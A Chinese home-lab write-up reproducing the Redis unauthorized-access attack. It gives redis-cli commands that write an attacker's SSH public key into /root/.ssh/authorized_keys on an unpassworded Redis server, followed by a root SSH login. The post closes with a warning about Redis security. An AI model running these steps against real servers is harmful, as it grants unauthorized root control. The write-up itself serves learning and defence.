Redis未授权访问漏洞简单复现
前记:
我见青山多妩媚,料青山见我应如是。一杯茶一包烟,一个环境搭一天。
环境准备:
角色 | 主机 | IP |
---|---|---|
受害服务器 | centos8(安装有redis6) | 192.168.1.129 |
攻击者 | kali | 192.168.1.115 |
首先在centos8上搭建redis服务,详情请参考文章,个人在搭建的时候遇到很多坑,希望大家按步骤认真搭建。
安装完redis6后,要配置远程连接,请参考文章。
kali中需要安装redis客户端redis-cli,请自行百度安装。
实验开始:
攻击者在kali上生成rsa公私钥对
C:\root> ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub #这是保存公钥的路径
The key fingerprint is:
SHA256:Cs0zV9vkSaFJHiIKETlJFlujqFMocgyETAHIuXyZjkE root@kali
The key's randomart image is:
+---[RSA 3072]----+
|@=X*o . . o . |
|oE+= o . + + . |
|B B.+ = o |
|+* + o . * . |
|o = . = S . + |
| o . . = |
| . |
| |
| |
+----[SHA256]-----+
将生成的公钥写入key.txt文件
C:\root>(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n")> key.txt
由于centos主机上的redis服务并没有设置密码,所以可以任意用户登录
直接将公钥文件key.txt传输到远程redis数据库
C:\root> cat /root/.ssh/key.txt | ./redis-cli -h 192.168.1.106 -x set test
远程登录redis,并将传输的公钥文件保存到远程服务器(centos)的/root/.ssh目录下,并命名为authorized_keys
C:\root\.ssh> /home/redis-stable/src/redis-cli -h 192.168.1.129
192.168.1.129:6379> config set dir /root/.ssh #切换到指定目录
OK
192.168.1.129:6379> config set dbfilename authorized_keys #设置文件名为authorized_keys
OK
192.168.1.129:6379> save #保存
OK
192.168.1.129:6379> exit #退出
切换视角,我们发现centos中已经被写入了authorized_keys文件。
[root@qianxun .ssh]# ls
authorized_keys id_rsa id_rsa.pub
OK,我们在kali用ssh去连接服务器:
刚开始连接时,说ssh_config第14行有问题。
C:\root> ssh root@192.168.1.129
/etc/ssh/ssh_config: line 14: Bad configuration option: permitrootlogin
/etc/ssh/ssh_config: terminating, 1 bad configuration options
经百度后permitrootlogin是服务器端的配置,现在我们要作为客户端,所以不需要,直接注释掉就行。
我们再次尝试连接:
成功登录!
后记:
由于对redis数据库还不是很熟悉,所以搭建环境踩了很多坑,不过收获也不少。redis未授权访问的危害还是很高的,轻则被篡改或泄露数据,重则直接被攻击者控制服务器。所以Redis安全不容忽视,关于安全配置请参考文章。